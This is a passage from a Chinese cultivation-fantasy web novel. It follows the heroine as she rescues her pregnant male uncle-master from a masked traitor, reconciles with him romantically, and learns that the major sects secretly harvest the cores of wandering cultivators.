一个满身血的女修闯了出来,后面跟着追捕的人。 贺流虹定睛一看,是在外历练的宋清宁,自从被周无疾指控勾结妖族之后,宋清宁再也没在天玄宗露过面,大概不好意思继续给贺流虹惹麻烦,也就很少再联系贺流虹。 宋清宁这么一闹,山洞中乌泱泱的人都冒出头,全是被捆了手脚的修士,身上带着或轻或重的伤,有几个还穿着小门派的弟子服。 守在洞口的那几个修士着急喊道:“快看好他们,别让他们逃出去走漏了风声!” 贺流虹一听这话就冲了出去,什么风声,她必须要听听。 被抓的修士境界都不是很高,负责看守的人也都不强,贺流虹本来还想试试自己现在的实力发展到什么程度,结果只用了不到半成力就把所有人解决了。 宋清宁认出她,露出劫后余生的笑容:“差点以为这次要完了。” 贺流虹留了活口,给宋清宁做了简单的治疗,又把其余人都解绑了。 面对一群人七嘴八舌,她勉强弄清了情况,所有人都是落单后莫名其妙被抓住的,没有仇家寻仇,也不是杀人夺宝。 “我听到他们说要把我们押送到一个地方,是什么地方我没听清。” “他是缥缈仙宗的人,我见过他!” 贺流虹看向那个被指认的修士,有些稀奇,凑过去打量几眼,问:“真的假的,你们缥缈仙宗私底下这么坏?” 对方紧紧闭着嘴,不发一言。 贺流虹让宋清宁等人看好他们,联系天玄宗过来把人带回去审问。 她继续朝着风月宗而去。 风月宗后山,周荡不在,贺流虹潜进来后,先是去找水月镜,那间破败的屋子被修缮过,水月镜也修补得几乎看不见裂纹,屋子四周依旧遍布陷阱,贺流虹尝试了一下,都没能把水月镜拿到手。 怕引来注意,她又去了周荡闭关的洞府。 她稍加利用了乾坤珠的力量,将洞府的结界强行破坏了,至于周荡会不会生气,谁在乎,她难道和这男的关系很好吗。 倒是有一点值得惊喜,自从在秘境中恢复部分记忆之后,她对乾坤珠的控制似乎更得心应手了一些。 周荡的洞府也给人一种见不得光的感觉,上了锁的箱子柜子匣子,连一副画都是倒扣着的。 她继续强行破坏了这里每一个上锁的东西,翻箱倒柜将每个角落都摸了一遍,要摸清他的底细。 这是一种礼尚往来,周荡曾经收买人去翻她屋子的时候就该想到有这一天。 翻了半天,她还真翻出来一点东西。 首先是一本书,书的其中几页做了记号,提到关于乾坤珠的下落,大概就是掌门之前想让她去找谷主借的那本书。 不过乾坤珠藏在她丹府里,这本书没什么用处,被她扔到一边。 接着她又找到一个上了好几层锁、施加了重重禁制的匣子,这严防死守的架势让人下意识觉得里面装着稀世珍宝。 她满怀期待将匣子砸开,只在里面找到了一些属于女子的首饰。 排除周荡私下里有女装癖的可能,那这些首饰的主人应该对他来说很重要了。 贺流虹又想到幻境中看到的那个妖族女子。 她合上匣子,来到桌子边,一幅画反过来覆盖在桌面,掀开一看,是个女人。她又去掀挂在墙上的画,是同一个女人,屋子里的画都被她一一展开,全是同一个人。 其中一幅画着女子的背影,和贺流虹在心魔幻境中看到的渐渐重合。 她把画像收进自己的芥子袋,紧接着去翻周荡的床,大修几乎不用睡觉,床上没有多少使用的痕迹,她又撬开对方的衣柜,拿着根棍子在存放内衣那一格拨了一会儿。 周荡在洞府留了一缕神识,此时终于看不下去,现出身形问道:“你翻箱倒柜就翻箱倒柜,研究我内衣做什么?” 贺流虹毫不意外他的忽然出现,语 重心长地说道:“内衣很能反映一个人的真实品位,你在洞里缩了几百年,我需要确认是有没有变成一个死宅变态。” 周荡无语至极:“这和你又有什么关系!” 贺流虹:“你抓走我师叔,极有可能就是因为你是一个变态,你羡慕他,想和他学会男人生孩子的技能。” 周荡闭上眼睛深吸一口气:“我没有抓走你师叔。” 贺流虹说:“那你最好藏好点,别让我找到你。” 周荡又改了口:“是的,你师叔在我手上,我不想要你们的性命,我只要你拿乾坤珠来换。” 贺流虹回想幻境中周荡和那妖修的对话,那时候周荡替妖修找到乾坤珠,下一步似乎就是要在她和另一个疑似贺小霓的婴儿身上进行某种操作,听两人的语气,绝不是做善事。 乾坤珠在她手上,优势才在她手上,她的命才是最安全的。想拿小师叔来威胁她,她要是束手就擒,搞不好她和小师叔一个都跑不掉。 她笑道:“那你还是试试能不能直接要了我的命吧。” 周荡威胁失败,消失不见。 贺流虹瞬间循着那道神识的气息追了上去,一直追到镇妖塔附近,那缕气息彻底消散了。 四周弥漫着混乱的妖气,是一个藏匿行迹的好地方。 贺流虹凝神仔细感受,她虽然只是元婴期,但神魂远比元婴期强大,逐渐在混乱气息中分辨出一缕极为亲近的神魂气息。 小师叔就在这附近。 她找到了镇妖塔下,在一处靠近塔底的山涧峡谷确认了小师叔的位置。 周荡也在那里,还有一名恼火的妖尊。 贺流虹拿出避水珠潜入山涧,顺水而下,藏在水草里听红狐狸妖尊和周荡吵架。 小师叔被封印在法阵之中,屏蔽了五感,闭着眼睛,安静得像是睡着了,在绿树蓝天红花碧水映照下,漂亮得像一具雕像。 妖尊既生气又鄙夷:“你这人族还要不要脸,快些把他交给我!” 周荡和她对峙着,寸步不让:“我不能。” “怎么又不能了,贺流虹你不让杀就算了,天玄宗这个景雍你又不让杀?你说过除了贺流虹,妖族想杀谁都与你无关,别忘了当初合作的前提就是助我杀掉景雍为妖族报仇!” “都说了,是当初,现在早就不合作了。” 妖尊威胁道:“别以为你藏得很好,我知道你是谁,次次都出尔反尔,我要向仙门曝光你这个叛徒。” 她说着就拿毛茸茸的大尾巴抽他。 周荡躲开了,语气缓和了一些:“情况有变,琼华真人还不能死,他还有用,再等等。” 狐狸的大尾巴朝着封印中的景雍攻击过去,嘴里说道:“等到什么时候,等他诞下腹中孩子,修为恢复,你觉得妖族还有机会吗,如今他怀有身孕最为虚弱,是最好的机会,我要让他和师祖一样,也尝尝魂飞魄散永世不入轮回的滋味。” 周荡拦下了她的攻势,灵力化作风刃在她身上留下几道血口。 血将她毛茸茸的火焰一般的尾巴染得更红,看起来有几分狼狈。 周荡皱了皱眉:“现在绝不是你为她报仇的时候,你受的伤始终没有痊愈,不是我的对手。看在她的份上,我不会杀你,你走吧。” 那只狐狸的眼睛里忽然流露出嘲讽而哀伤的神色:“我是不是该多谢你的仁慈。她是万妖之祖,是我们所有妖的母亲,可惜她既不爱我们,也不爱你。其实你也知道的,你和我一样自作多情了。” 她落寞地带着伤势和不甘离开。 贺流虹早已躲在避水珠中悄无声息顺水飘到了小师叔身边,趁周荡在那里惆怅望天飞快跳出来,打算偷了小师叔就跑。 她的手还没碰到人,周荡就变幻出无数把灵刃对准封印在法阵中的景雍,道:“我跟你说过,交出乾坤珠,否则你的孩子和你心爱的小师叔全都活不下去,你也不想看到一尸两命吧。” 贺流虹无可奈何叹了又叹,似乎在做艰难挣扎,最后两手一摊,认命道:“小师叔我对不起你,是我没本事,你安心地去吧。” 周荡愣了愣,虽然认命的人是贺流虹,但是他有种被人迎面揍了一拳的无力感。 “你知不知道你在说什么,他肚子里还装着你的血脉。” 贺流虹:“哎,孩子肯定还会再有的。虽然会生孩子的男人不好找,但努努力也还是有希望吧。” 她含泪看着沉睡中的小师叔,一副即将天人永隔的悲痛神情:“小师叔,下辈子投个好胎,不要放过任何穿黑衣服藏头露尾的男的。” 周荡:“……” 贺流虹疑惑地看向他:“你怎么还不动手,你快动手啊,你再不动手我就走了。” 周荡活了这么多年就没这么下不来台过,她是真的一点台阶也不给他留啊。 于是他一怒之下把景雍的封印解了,并第一时间拱火:“贺流虹她不想救你。” 景雍的身体还不能动,茫然地望了望四周,最后看向贺流虹,温柔说道:“她还是个孩子,保护好自己才是最重要的。是我愧对她,让她为难了。” 周荡:“不是,她只要付出一点小小的代价,给我我想要的东西,我就会放了你,但是她不愿意,你不失望,你不生气?” 景雍垂眸想了想,道:“你拿不到渴求的东西,该失望生气的是你,我为什么要失望生气。” 周荡笑了,“你俩真能装,贺流虹,别硬撑了,你心里肯定急死了,把东西给我,一切到此为止。” 贺流虹正要开口,景雍抢先一步说道:“无论你要什么,她都不会给你的,你不是想杀我吗,迟迟不动手,装的人是你吧。” 周荡的脑瓜子嗡嗡的,整个人都有些抓狂,但又不能表露出来。 他甚至希望这个时候能出现点什么意外,给他一点台阶下。 天道眷顾了他一次,贺流虹找的救兵来了。 赵炎炎带着一堆天玄宗弟子狂奔过来,大喊着:“诛杀仙门叛徒,人人有责!” 周荡黑袍子一挥就把景雍扔了出去,自己飞快地溜了。 贺流虹紧张地把景雍接住,阻止他摔倒在地上,提心吊胆地上下打量他,问道:“小师叔,有没有伤到哪里?” 景雍抿着唇,垂着眼,沉默不语。 贺流虹的脑海中响起周荡的神识传音:“你尽管放一万个心,他不仅没伤,还好得很,我帮他探过脉象了,你们的孩子很健康,我很期待见到孩子出生。” 赵炎炎嘀咕着:“什么情况,那个人是谁啊,跑的也太快了,就这实力还敢搞绑架?” 景雍忽然开口:“我知道他。” 贺流虹看向他,“他是谁?” 景雍慢慢站起身来,龙吟秘境一过三个月,他的月份更大了,和寻常怀胎比起来,肚子好像要更大一些。 伪装身形需要耗费更多的灵力,只会让他更加虚弱,在被周荡找上门之前,他已经很久没有踏出过神月峰。 赵炎炎等人站在贺流虹对面,想看又不敢看,每人只偷偷瞄一眼,加起来却也让他难堪。 他只好背过身去,再次面对着贺流虹,接着说道:“镇妖塔塔底的封印应当就是他从外面破坏的,他替我解开封印时手法很相似。” 贺流虹有种豁然开朗的感觉,妖祖被封印在塔底几百年,于是原本准备借助乾坤珠进行的某种计划不得不停滞几百年,也就有了贺小霓在水月镜中时间停滞的几百年。 那她又是怎么离开的? 她的脑袋又开始隐隐作痛,强忍着笑道:“小师叔真聪明。” 景雍抬眼,欲言又止,很快收回视线,重新陷入沉默。 贺流虹心道,坏了,刚才和周荡演戏,好像演出事了。 景雍的肚子坠得他有些难受,用手捧着。 她凑过去把人扶住,瞥见他红红的耳尖,明白他是被这么多人看得害羞了,连忙对赵炎炎使眼色:“我一个人照看小师叔就行了,不用再耽搁你们时间了。” 赵炎炎指了指手上的芥子袋,那里是贺流虹为景雍准备的礼物。 她说:“那我把东西做好了再联系你?” 贺流虹点点头,一点也不敢多提,挥挥手让她快走。 第64章 第64章小师叔邀请我去床上 周荡越是说孩子很健康,贺流虹就越是不放心,她一边扶着景雍,一边偷偷用余光打量了一遍又一遍。 景雍轻轻推了她几下,想要和她保持 距离。 她装作没有领会到对方的用意,亲亲热热地把人搂得更紧,关切地问:“小师叔,宝宝乖吗,有没有闹你,你看上去不太舒服。” 她对揣崽的知识全都来自道听途说,小师叔肚子都这么大了,住在里面的小宝宝应该会偶尔挥舞下小手踢蹬下小腿什么的吧? 要不是小师叔看起来在跟她生闷气,她更想伸手摸两下。 她的手不老实地贴着他腰侧摩挲着,景雍将脑袋埋得很低,耳尖更红了,却还维持着冷静说道:“我很好,没有不舒服。” 贺流虹招来金月,说:“那我们先回神月峰。” 他仍旧反应平淡。 金月和妖族打架时脑袋上的毛被烧焦了一块,瞧着很滑稽,嗷地叫了一声,带着两人飞回家。 贺流虹坐在鸟背上,拿出一件披风将大着肚子的美人裹紧,又给他戴上毛茸茸的帽子,最后趁机隔着衣服摸了摸肚子。 除了最后上手摸肚子的时候景雍有些窘迫地抬眼看了她一眼,带着几分祈求,其余时候都低垂着眼帘,默不作声地任由她施为。 这当然可以视作一种温顺乖巧,但也是一种疏远。 金月把两人背回神月峰,急忙就飞去湖边整理自己的羽毛,丝毫顾不上自家主人刚离了险境又落在一个“坏东西”手里。 贺流虹看到那只鸟飞走,目光重新落在景雍身上,一路上他都是这样冷冷淡淡一个人生闷气,想对他做什么,他不会明确拒绝,但他也不会像平常那样显露出对她的关心。 比起这副不声不响的样子,贺流虹还是觉得他生起气来更可爱。 她故意凑到他面前,不知悔改地说道:“小师叔,你今天怎么这么乖,我可以亲你一下吗?” 景雍的反应和之前一样,沉默不言,放纵她一切言行。唯一不同的大概就是爬上脸颊的红晕。 既然不拒绝,那就是同意了,贺流虹毫不客气地把人按倒在一棵树下,目标明确地奔着那鲜红柔软的唇瓣啃过去。 不料竟是没亲到,被景雍偏开脸躲了过去。 她这一下只啃到了美人的嘴角,略显遗憾。 但是没关系,美人哪里都漂亮,哪里都好亲,她把人按在树下,蛮横地不让人逃走。 美人不让亲嘴,她就不紧不慢地从脸颊亲到额头,从额头亲到鼻尖。 本想再次去亲他柔软漂亮的嘴唇,瞥见他紧闭着双眸,又忍不住回过头去,亲了亲他的眼睛,长睫颤动,像是要长出蝴蝶从她嘴边飞出去。 “小师叔,你再闭着眼睛,我就要对你做坏事了哦。” 她贴近对方耳畔,说完话,见他仍旧不肯睁眼,便沿着下颌一路亲到脖子。 两只手也相当肆意地在这具堪称杰作的美人躯体上探索起来。 景雍的呼吸越发急促,不得不睁开眼睛,有些愤愤不平地说道:“你都这样了,还不算坏吗。” 贺流虹言而有信,他睁开眼睛,她就老老实实停下来,望着他笑得意味深长。 景雍无法再装作对她的一切视而不见,他回响起对方在他身上层出不穷的手段,被这个坏家伙看得莫名慌张起来,怯怯地问:“你想对我做什么?” “我说了,做坏事。”贺流虹眨眨眼,满脸写着纯洁无辜,只是接下来说出来的话和纯洁无辜没有丝毫关系。 她俯下身贴近他耳边,用只有两人能听到的气音慢悠悠说道:“我还没有试过在外面品尝小师叔呢,第一次就在这棵树底下怎么样?” 景雍瞳孔紧缩,整个人因为这句话轻颤不止,两只手抬起来,想要推开压在自己身上的坏家伙,却又被坏家伙攥着手腕,牢牢按在了头顶。 两人的修为如今相差不大,贺流虹在他身上又向来有着少年人的冲动鲁莽,不懂收敛节制,轻易就将他制住。 那双养尊处优的、玉一样温润柔滑的手被少女桎梏在树干上,被粗粝的树皮磨出红痕,伴随着微微急促的喘息声,好像已经被人尽情欺负过一轮。 贺流虹笑得有些恶劣,接着又露出嫌弃的神情,“小师叔好不禁弄,还化神期呢,我根本都还没开始,就好像快要被弄坏了。” 她话音落下不久,景雍就再也控制不住地哭了出来。 仿佛是觉得丢人,只要不是在床榻间被贺流虹折腾得神志不清,他平日里哭起来总是默默的,除了清莹的眼泪不住往外流,将眼尾染成旖旎的红,就再没别的动静。 贺流虹也最害怕见到他这副模样。 原本是怕他一直将郁闷憋在心中憋出毛病,想让他发一发脾气,这下倒好,脾气没发作出来,反而直接哭了。 贺流虹心虚了一秒,刚刚还感到游刃有余,既抱着香喷喷白生生的小师叔把便宜占了,还能解决问题,现在只剩手足无措。 她连忙把景雍的手腕放开,一眼瞧见那手背和手腕上都是她弄出来的红痕,顿时连大气也不敢出,小心翼翼捧着那双手,不知该往哪里放。 “疼吗小师叔,我错了,我本来打算跟你道歉的,你一直不理我,我就急昏了头。” 她下意识就在那满是红痕的手背上亲了亲,景雍像是被烫到一半猛地收回手,藏进了袖子里。 两个人在树下,陷入了短暂的沉默。 景雍不知是太难过,还是太生气,身体还是一阵阵地发软,只能无力地靠在树干上,两只手藏在袖中背到身后,紧咬着唇不发一言,眼泪默默地沿着毫无瑕疵的漂亮脸蛋滑落。 贺流虹也将两只手背到身后,和先前疯狂使坏的模样比起来,忽然规矩得像个被罚站的小学生,支支吾吾地开口:“我,我,那个,小师叔,你心里生我气,你就对我撒出来,千万别像刚才那样不理我,也别像现在这样,哭得我心疼。” 景雍喃喃开口:“我没有生你的气。” 贺流虹显然不信,继续反思:“之前那仙门叛徒拿你威胁我,我不应该选择放弃你,虽然我是故意装出来的,但……” “我真的没有怪你,我理解你的做法,他藏头露尾,说出来的话又怎能相信。” 景雍认真看向她的眼睛,像是鼓足了勇气,“我只是气我自己……我只是控制不住,无法拒绝你对我施加的所有影响,你早已在不知不觉间成为我的主心骨,所以很多时候明知道你是装出来的,我还是会因为你的一句话、一个眼神、一个举动而欢喜、伤心或者不安。” 贺流虹帮他擦拭泪水,心中闪过愧疚,“都是我不好,让你这么难过。” 景雍轻轻摇了摇头,“是我的错,我无法摆脱你对我的丝毫影响,正因如此,才会一次次给你带来麻烦,惹你心烦,这次要不是我,你也不会刚经过秘境试炼就片刻不能停歇地去救我,还要受我这些琐碎的情绪烦扰。” 他犹豫片刻,主动用双手牵起了贺流虹的左手,羞怯而惭愧地将脸偏过去,留给她一个在神月峰暖色夕阳下的完美侧影。 “你不要嫌我烦,好吗?我以后会控制好自己的情绪,不会动不动就不理你,也不会动不动就哭。” 他底气不足,声音细若蚊蚋,沐浴在夕阳下的身体镀着一圈温暖的柔光,神圣又诱人。 贺流虹心里暖融融的,又有点痒痒的,天真漂亮的小师叔,可怜可爱的小师叔,怎么能乖成这个样子,真担心哪天就被旁人哄骗了去。 她将他拉进怀里抱住,说道:“天底下再也没有比小师叔还让我着迷的人了,小师叔不管是哭是笑还是生气都是最可爱的,我怎么会嫌烦,我最喜欢小师叔了。” 景雍的身体又颤抖起来,险些又要哭出来,好在这一回不是伤心或生气。 他闻着贺流虹身上熟悉的气息,感受着从她身上传递过来的温度,听着她真挚动容的甜蜜告白,终于卸下了一直以来的防备和伪装。 他是多么喜欢她像现在这样紧紧拥抱自己,即便仍旧不懂收敛的力度,他恨不得 让她再用力一点,揉碎自己,弄坏自己,让自己完全属于她。 “我也是如此。”他用很轻很轻的声音说道,还没等贺流虹回应,就自己先红了脸。 贺流虹正沉浸在把美人哄好了的喜悦中,冷不防听到对方在自己怀里说了句什么,忙追问道:“小师叔,你说什么,再说一遍给我听好不好。” 景雍只当她又在故意捉弄自己,紧咬着嘴唇不肯开口,一双浅色的眼眸里氤氲着水汽,雾蒙蒙的,好像立刻就要凝作惹人怜爱的泪水溢出眼眶。 贺流虹越发心痒难耐,但又怕纠缠太过,没轻没重,再次把人惹恼,只能将人从怀里放开,微微俯身,歪过脑袋新奇又期待地看他的脸,可怜兮兮地央求:“小师叔,再说一遍吧,我想听。” 景雍低垂着头颅不敢去看她那双过分热切的眼睛,轻声重复了一遍:“我也是如此。” 贺流虹绝不满足于此,不肯放过这个羞愤欲绝的美人,继续追问道:“如此什么?小师叔,我天资愚钝,你不说清楚的话,我听不懂。” 景雍真想向她求饶,哪怕被她在床榻上折腾千百遍,也不想这般袒露无余,将这不该产生于师叔心中的羞人心思亲口说给她听。 “我说,我也是如此……如此心悦与你,最心悦与你。” 他的心跳得飞快,脸颊像是着火了,眼中又起了雾。 贺流虹有点压不住往上翘的嘴角,怎么会有人告白的时候也像是被欺负了一样,没说两句就快哭出来。 她故作老成地把人揽进怀里,拍了拍后背,叹道:“师叔啊,怎么这么大人了,还这么爱哭啊,肚子里的宝宝知道了该笑话你了。” 景雍拉着她的手放在自己高高挺起的肚皮上,委屈道:“你不在的时候,宝宝总是踢我。” 小师叔竟然还有如此骄纵的一面,会跟她告肚子里的宝宝的状,贺流虹感到很新鲜很有趣。 她隔着衣服摸了两下,可惜并没有感觉到肚子里面有什么动静,于是板起脸来装模作样训斥道:“怎么这么不乖,爹爹怀上你有多辛苦你知不知道。” 景雍看得好笑,垂眼温柔地瞧着自己的肚子,满眼里都是爱意,故作嫌弃地说道:“一定是随了你,将来像你一样爱使坏可怎么办。” 话都说到这份上了,贺流虹要是还继续安分守己规规矩矩,那就既对不起自己,也对不起小师叔。 她再一次把景雍按倒在树下,嘴角噙着一抹玩味的笑,“我的坏不是全使在小师叔身上了吗,能怎么办还不是小师叔说了算。” 景雍按住她肆意游走的手,惊讶自己如今的身子竟如此轻易被她点燃,连矜持都忘了,只想立刻被她狠狠作弄,成为她身下不知羞耻的□□俘虏。 他用仅剩的一丝理智哀求道:“不要在这里,去、去床上。” 贺流虹好商好量地点头答应下来:“好,小师叔邀请我去床上,那我们就去床上。” 因为心急,她直接用了张瞬移符,眨眼睛带着人来到室内。 景雍一向怕羞,又让她关窗。 门窗紧闭,屋子里很快溢出难耐地哭喊。 正在湖边梳理羽毛的金月眨着绿豆小眼,小小的鸟脑袋里满是不解,向来安静矜持的主人最近怎么总是发出这种奇怪的声音? 尤其是今天,叫这么大声,到底是高兴还是难受啊,它到底要不要过去帮忙啊? 第65章 第65章想让你亲我,抱我,爱我…… 或许是因为分开太久,景雍这次格外热情。 贺流虹也就不跟他藏着掖着了,把人翻来覆去,用上所有力气和手段。 景雍被折腾得快要崩溃,仿佛变成她手上的玩具,他害怕地央求她:“轻一点,会伤到宝宝的。” 贺流虹动作温柔了些,又觉得这样不过瘾,故意问他:“小师叔不是男人吗,肚子里怎么会有宝宝,是不是背着别人做了什么不知羞耻的事,比如勾引自己的师侄。” 景雍晕晕乎乎,神智都被她弄得不清醒了,她一问,他就乖乖点头承认:“是我,是我做的,我不知羞耻,想让你亲我,抱我,爱我。” 贺流虹抱住他,亲了亲他朦胧失神的眼睛,低声道:“看在小师叔这么诚实的份上,我就好好疼爱一下小师叔吧。” 不知道过了多久,贺流虹意犹未尽地结束,搂着昏睡中的美人,精神仍旧亢奋,这里捏捏那里戳戳,失去知觉的美人还是这么让她爱不释手。 等到把这具昏睡中的完美无瑕的身躯探索好几遍,她放开对方,准备下床。 刚一转身,衣袖被一只光洁如玉的手攥住。 床上的人还没醒,似乎是本能地反应,梦呓一般喃喃开口:“不要走……” 贺流虹轻笑了一声,慢慢掰开他修长白净的手指,道:“我给你带了礼物,我去拿过来。” 景雍微微掀开眼皮,睡意迷蒙地看向她:“什么礼物?” 贺流虹嘴角的笑意在扩散,拍拍他的脸蛋,“等我拿回来你就知道了。” 她给自己使了个清洁术,换了身衣服,风风火火地推开门走了出去。 过了没几秒,她折返回来,大步走到床边,用力亲了男人一口,道:“宝贝,我待会儿还要回来,撤了神月峰结界对我的准入禁令吧。” 景雍含糊不清嘟哝了一声,将前额贴上她的,一缕相当于密匙的灵识轻巧钻入她的眉心。 贺流虹又在他唇上狠亲了一口,“好乖。”转身大步流星地走了。 她刚出神月峰没多久,还没到炼器堂,就收到了掌门的传音,让她速去见他,说是有很重要的事情告诉她。 她心想什么事情有她给小师叔准备的“惊喜”重要,调头去了妙音峰。 掌门受伤了,龇牙咧嘴地在那里给自己上药,贺流虹去的时候,他手忙脚乱披了件衣服,有些责备地嘀咕着:“你怎么说来就来。” 贺流虹很冤,“不是催我速来吗,我哪敢耽搁。”当然是一个闪身就瞬移过来了。 掌门只好默默把自己的领口拢紧。 贺流虹看着他的小动作,宽慰他道:“放心吧掌门师尊,我什么都没看到。” 就算什么都看到了,也是不会多想的,毕竟她刚吃完顶级豪华大餐。 掌门迅速岔开话题,问:“你刚从神月峰出来,又急着做什么去?” 贺流虹道:“我在秘境里找到了一些适合送给小师叔的礼物,正准备去拿。” “什么礼物?” “这是我和小师叔之间的情趣,确定要说得这么详细吗?” 掌门从她的表情里看到了一些不太适合公开讨论的内容,连忙摆手:“算了,是我多管闲事。” 他愁啊,贺流虹对她小师叔不上心,他着急,贺流虹天天想着她小师叔,连秘境试炼都不忘小师叔,他还是着急。 天玄宗还等着她去拯救呢,她怎么天天琢磨那种黄黄的东西。 贺流虹一看掌门这深沉惆怅的神情,就知道他老毛病犯了,不知道又在操哪门子心。 她说道:“掌门,你要是没别的事,我就去给小师叔拿礼物了。” 掌门:“你之前不是还想知道,为什么需要那么多的妖丹吗,这么快就不关心了?” 贺流虹连忙改口:“您请说。” 掌门:“这要从很久以前开始说起。” 贺流虹:“啊?” 掌门:“算了,我简单说两句吧。很久以前各族共同生活在修真界,人族只是无数生灵中的一种,各族之间即便有纠纷也会很快平息,直到灵气日益稀薄,大家都自身难保。” 贺流虹:“然后呢?” “你拜入天玄宗的时候没学吗,后来我们人族凭借智慧勇武驯服万族,让它们成为灵植、灵兽,为人族所用,人族成为修真界当之无愧的主宰。那些天性邪恶的就堕落成妖,与人族为敌。” “好像是这么回事。” 掌门点点头,继续“简单说两句”:“妖族汲取天地日月精华来修炼,和人族修炼方式没有本质上的不同,但是因为不需要像人族依赖灵植灵兽那样依赖人类,它们的灵力更为纯粹。于是九位人族圣贤用无数大妖的妖骨妖丹炼制出九条灵脉,开宗立派。灵脉的存在使灵气无比充盈,像是取之不尽用之不竭。” 他转而叹气:“但这只是假象,灵脉有枯竭的一天。此后只要有大妖成长起来都会遭到镇压,它们必须‘天性邪恶’,才能让人族出师有名。但是即便如此,九大宗门还是逐一凋敝,只剩包括天玄宗和缥缈仙宗在内的四家。自从世间最后一只九阶大妖死在琼华手中,我们试着用普通妖丹来代替。” 贺流虹深沉地叹了一口气:“这太糟糕了。” 又用探究的目光游走在他脸上,问道:“最近很多散修失踪是不是也和这件事有关?” 掌门沉默片刻,说道:“……是的,妖族苟延残喘,妖丹不够用,缥缈仙宗和其余两家盯上了散修的内丹。为了掩盖大量修士失踪的真相,他们甚至有意纵容妖族作乱。” 他面露羞愧,“我不想参与,但我顾忌太多,只能睁一只眼闭一只眼。” 贺流虹继续深沉地叹气:“那很坏了。” “是啊,今日我与他们发生争执,还动了手,我知道得太多了,他们恐怕不会再容忍我太久。” 贺流虹一愣,“啊?那现在我也知道了,岂不是我也要被灭口?你也太不拿我当外人了!” 景离幽幽地说道:“他们如果要除掉我,当然也不会放过有可能从我口中得知这个秘密的所有人,你作为掌门亲传,知不知道有什么区别。” 贺流虹又问:“那你也告诉小师叔了?” “没有,他心思单纯,不适合知道太多。” “千万别拿这种事去烦他,让他安心把孩子生下来。”贺流虹抬头看看外面的天色,“时间不早了,多呼吸傍晚的新鲜空气对宝宝有好处,我要去陪小师叔散步了。” 景离:“还有这种说法?” “掌门你连道侣都没有你不懂,好了徒儿告退了。” 她说着就头也不回地跑了。 景离黯然神伤,他名义上也算是她正儿八经的师父,如师如父,怎么连受伤了都没得到一句关心,就因为他不能像师弟一样生孩子吗。 贺流虹先去炼器堂把自己心心念念的宝贝礼物取回来,又马不停蹄去找天玄宗最好的医修,带他们去神月峰。 周荡说的那些话始终让她感觉不对劲,她得让人仔细看看小师叔肚子里的孩子是不是真的没问题。 神月峰笼罩着一层神秘的面纱,几位医修是少数能进入其中并近距离接触景雍的人。 景雍在贺流虹离开不久便醒了,不确定自己会被丢下多久,惴惴不安地数着时间,坐在窗边等着她露面。 贺流虹回来时不止一人,带着几个面熟的医修。 说明来意后,医修们便为他把脉看诊,一时不慎就瞧见了那不该瞧的痕迹,从来都是出尘脱俗的琼华真人此刻身上留着深深浅浅的印子,都不知遭了多少遍的玩弄和疼爱了。 医修将余光偷瞄身旁唯一的始作俑者,暗暗惊叹。 景雍想找个地缝钻进去,偏还要顾及有外人在场,只能作出淡漠神态,平静地配合着医修的看诊。 贺流虹更是坦然,坐在他身边关切地问:“这位师姐,小师叔到底如何?” 那医修不解,琼华师叔除了正常情况下都会出现的孕期虚弱,明明没有任何问题,贺师妹怎么偏要紧张兮兮。 她摇摇头:“我没有发现任何异常,虽然孕体有些虚弱,但都是正常的,胎儿十分健康。” 景雍急着让医修离开,留他和贺流虹独处,也跟着说道:“我没感觉到什么不对,阿虹,你是不是多虑了?” 贺流虹说:“多长点心总没错,这可是你怀上的第一胎。” 景雍不知想到了什么,脸上微微发烫,低下头躲开她注视的目光。 医修附和着说道:“第一次没经验,确实该慎重些,往后再有孕就不必像如今这么紧张。” “哈哈,”贺流虹忽然乐了,“小师叔还能再怀上吗,那也太厉害了。” 她捧着脸,一脸兴奋地盯着景雍一阵猛瞧。 景雍无奈地瞥她一眼:“还没影的事,别瞎说。” 贺流虹做投降状,“我不敢了。” 那双笑意盎然的眼里却清清楚楚地写着“我下次还敢”,景雍拿她没办法,起身逃了。 贺流虹送别医修,想了想还是不踏实,又一次离开神月峰,去了医仙谷。 宁逢说谷主的情况看起来更好了一些,还常常带着贺小霓一起玩。 贺流虹去看望谷主的时候贺小霓也在场,察觉到她的气息很兴奋地扑过来。 她摸了摸对方梳着寻常小女孩发髻的脑袋,望向谷主,“给你们添麻烦了。” 宁逢说道:“师父正在想办法医治小霓的眼睛,已经有些眉目了,高不高兴开不开心!” “阿逢,”谷主打断徒弟的闲聊,“我想和小贺聊两句,你带小霓出去。” 宁逢有些担心地看向贺流虹,以为跟师父的心魔有关。 贺流虹低声说:“没事,我能应付。” 她牵着贺小霓走了,屋子里静得只剩下茶水沸腾时的咕噜声。 贺流虹权衡两秒,走上前去,道:“刚好我也有话想和谷主说。” 她拿出那副从周荡的洞府搜刮来的画像,慢慢展开,道:“谷主行医这么多年,见多识广,不知道认不认识画上的人。” “好吧我坦白,是我干的。” 贺流虹愣住,“什么?我还没问呢。” 老太太哼笑一声:“你磨磨蹭蹭的,我等不及了。” 贺流虹:“……你这么主动,搞得我有点措手不及了。” “那就直接听我说吧,从我第一次见到你开始,我就在怀疑你的身份。” 贺流虹:“啊?难道不是我来质问你吗,怎么变成你怀疑我了?” 老太太不跟她废话,自顾自地说道:“我是九百年前来到的修真界,在来到这里之前,我在凡界待了很久,一直活到一百零九岁。 “凡界的普通人很难活到寿终,我的母亲死了,女儿死了,孙女也死了,家里只剩我一个,那时候我五十九岁,后来的五十年,我用研习医学来打发时间,受到邻里的调侃嘲笑,一个孤寡老太太,大字不识几个,半只脚都迈进棺材,怎么还从头学起医了。 “我觉得很不好意思,所以我搬离了人群,住进山中,还养了一只狸猫,那只猫是我在野外采药时救了,受的伤很重,还很古怪,但我自认也是一个怪人,所以怪就怪点吧。 “我在凡界的时候叫郑吟,所以我给猫取名叫郑长安,血亲都死了,我希望它争气一点,陪我久一点。长安很聪明厉害,一只猫竟然还会抓兔子,还很会撒娇,动不动赖在我怀里不走,我喜欢它冬天的时候这样做,抱着它特别暖和,雪下起来特别安静,它打呼噜的声音大得像是要把 房顶掀飞。 “长安真的很争气,一直陪了我五十年。我以医入道之前,长安失踪了,它不是死了,是失踪了。来到修真界之后,我知道我很可能是遇上了一只妖,但我很想她,所以我只身前往妖界寻她。 “寻到她的时候,她又受伤了,那些我刚来修真界就听说过的大修们一直在想办法抓住她,因为她是世上最后一只九阶大妖,天性邪恶,只有被封印在镇妖塔底才能让修真界太平。 “她的真身比我想的更加威风,果然是世界上最可爱的小猫咪,却一边舔舐伤口,一边哭着问我,如果她不是妖,是不是就能真正做我的孩子做我的家人了。 